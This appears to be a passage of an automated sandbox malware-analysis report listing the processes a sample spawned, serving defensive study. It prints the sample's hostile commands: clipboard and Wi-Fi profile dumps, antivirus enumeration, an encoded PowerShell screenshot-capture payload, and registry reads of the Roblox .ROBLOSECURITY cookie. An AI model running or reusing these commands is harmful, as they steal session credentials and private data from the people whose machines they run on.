Start time:	03:42:04
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	03:42:05
Start date:	04/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff642e70000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	03:42:05
Start date:	04/01/2025
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff7dc7a0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:42:05
Start date:	04/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-Clipboard
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	03:42:05
Start date:	04/01/2025
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Imagebase:	0x7ff69e180000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:42:05
Start date:	04/01/2025
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profile
Imagebase:	0x7ff6338c0000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:42:08
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "systeminfo"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	03:42:08
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	03:42:08
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8120, Parent PID: 8088

General

Target ID:	37
Start time:	03:42:08
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	03:42:08
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	03:42:08
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	03:42:08
Start date:	04/01/2025
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff647f20000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	03:42:08
Start date:	04/01/2025
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff7dc7a0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	03:42:08
Start date:	04/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	03:42:11
Start date:	04/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.cmdline"
Imagebase:	0x7ff69afe0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	03:42:10
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 7760, Parent PID: 5860

General

Target ID:	45
Start time:	03:42:10
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "getmac"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	03:42:11
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	03:42:11
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	03:42:11
Start date:	04/01/2025
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff7dc7a0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	03:42:11
Start date:	04/01/2025
Path:	C:\Windows\System32\getmac.exe
Wow64 process (32bit):	false
Commandline:	getmac
Imagebase:	0x7ff7fd0f0000
File size:	90'112 bytes
MD5 hash:	7D4B72DFF5B8E98DD1351A401E402C33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	03:42:11
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7344, Parent PID: 7564

General

Target ID:	51
Start time:	03:42:11
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	03:42:11
Start date:	04/01/2025
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff7dc7a0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	03:42:12
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7912, Parent PID: 7664

General

Target ID:	54
Start time:	03:42:12
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	03:42:12
Start date:	04/01/2025
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff7dc7a0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	03:42:12
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6548, Parent PID: 7648

General

Target ID:	57
Start time:	03:42:12
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	03:42:13
Start date:	04/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF89E.tmp" "c:\Users\user\AppData\Local\Temp\3lfchnc2\CSC30375EB9C2504D3B856F38EEC7AAE920.TMP"
Imagebase:	0x7ff7c2690000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	03:42:13
Start date:	04/01/2025
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff7dc7a0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	03:42:13
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	03:42:14
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	03:42:14
Start date:	04/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	03:42:15
Start date:	04/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff7484e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	03:42:15
Start date:	04/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
